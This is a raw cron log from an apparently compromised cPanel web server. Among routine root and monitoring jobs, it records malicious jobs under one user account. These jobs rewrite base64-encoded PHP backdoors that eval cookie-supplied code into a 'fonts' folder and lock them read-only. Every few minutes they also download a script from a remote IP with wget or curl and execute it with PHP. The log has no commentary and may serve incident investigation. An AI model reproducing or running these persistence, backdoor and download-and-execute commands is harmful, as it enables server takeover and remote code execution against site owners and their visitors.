Sep 20 06:26:01 ip-184-168-122-23 CROND[19246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:26:01 ip-184-168-122-23 CROND[19245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:27:01 ip-184-168-122-23 CROND[19477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:27:01 ip-184-168-122-23 CROND[19479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:27:01 ip-184-168-122-23 CROND[19480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:27:01 ip-184-168-122-23 CROND[19481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:28:01 ip-184-168-122-23 CROND[19739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:28:01 ip-184-168-122-23 CROND[19741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:28:01 ip-184-168-122-23 CROND[19744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:28:01 ip-184-168-122-23 CROND[19742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:28:01 ip-184-168-122-23 CROND[19745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:29:01 ip-184-168-122-23 CROND[19990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:29:01 ip-184-168-122-23 CROND[19993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:29:01 ip-184-168-122-23 CROND[19992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:29:01 ip-184-168-122-23 CROND[19991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:30:02 ip-184-168-122-23 CROND[20326]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 06:30:02 ip-184-168-122-23 CROND[20329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:30:02 ip-184-168-122-23 CROND[20328]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 06:30:02 ip-184-168-122-23 CROND[20330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 06:30:02 ip-184-168-122-23 CROND[20331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:30:02 ip-184-168-122-23 CROND[20325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:30:02 ip-184-168-122-23 CROND[20332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:30:02 ip-184-168-122-23 CROND[20335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:31:01 ip-184-168-122-23 CROND[20591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:31:01 ip-184-168-122-23 CROND[20592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:31:01 ip-184-168-122-23 CROND[20593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:31:01 ip-184-168-122-23 CROND[20595]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 06:31:01 ip-184-168-122-23 CROND[20596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:32:01 ip-184-168-122-23 CROND[20861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:32:01 ip-184-168-122-23 CROND[20862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:32:01 ip-184-168-122-23 CROND[20863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:32:01 ip-184-168-122-23 CROND[20866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:32:01 ip-184-168-122-23 CROND[20870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:33:01 ip-184-168-122-23 CROND[21128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:33:01 ip-184-168-122-23 CROND[21130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:33:01 ip-184-168-122-23 CROND[21134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:33:01 ip-184-168-122-23 CROND[21133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:34:01 ip-184-168-122-23 CROND[21356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:34:01 ip-184-168-122-23 CROND[21359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:34:01 ip-184-168-122-23 CROND[21360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:34:01 ip-184-168-122-23 CROND[21357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:34:01 ip-184-168-122-23 CROND[21361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:35:01 ip-184-168-122-23 CROND[21715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:35:01 ip-184-168-122-23 CROND[21722]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 06:35:01 ip-184-168-122-23 CROND[21720]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 06:35:01 ip-184-168-122-23 CROND[21718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:35:01 ip-184-168-122-23 CROND[21719]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 06:35:01 ip-184-168-122-23 CROND[21721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:35:01 ip-184-168-122-23 CROND[21723]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 06:35:01 ip-184-168-122-23 CROND[21724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:36:01 ip-184-168-122-23 CROND[22072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:36:01 ip-184-168-122-23 CROND[22073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:36:01 ip-184-168-122-23 CROND[22075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:36:01 ip-184-168-122-23 CROND[22077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:36:01 ip-184-168-122-23 CROND[22076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:37:01 ip-184-168-122-23 CROND[22336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:37:01 ip-184-168-122-23 CROND[22338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:37:01 ip-184-168-122-23 CROND[22340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:37:01 ip-184-168-122-23 CROND[22342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:38:01 ip-184-168-122-23 CROND[22567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:38:01 ip-184-168-122-23 CROND[22566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:38:01 ip-184-168-122-23 CROND[22569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
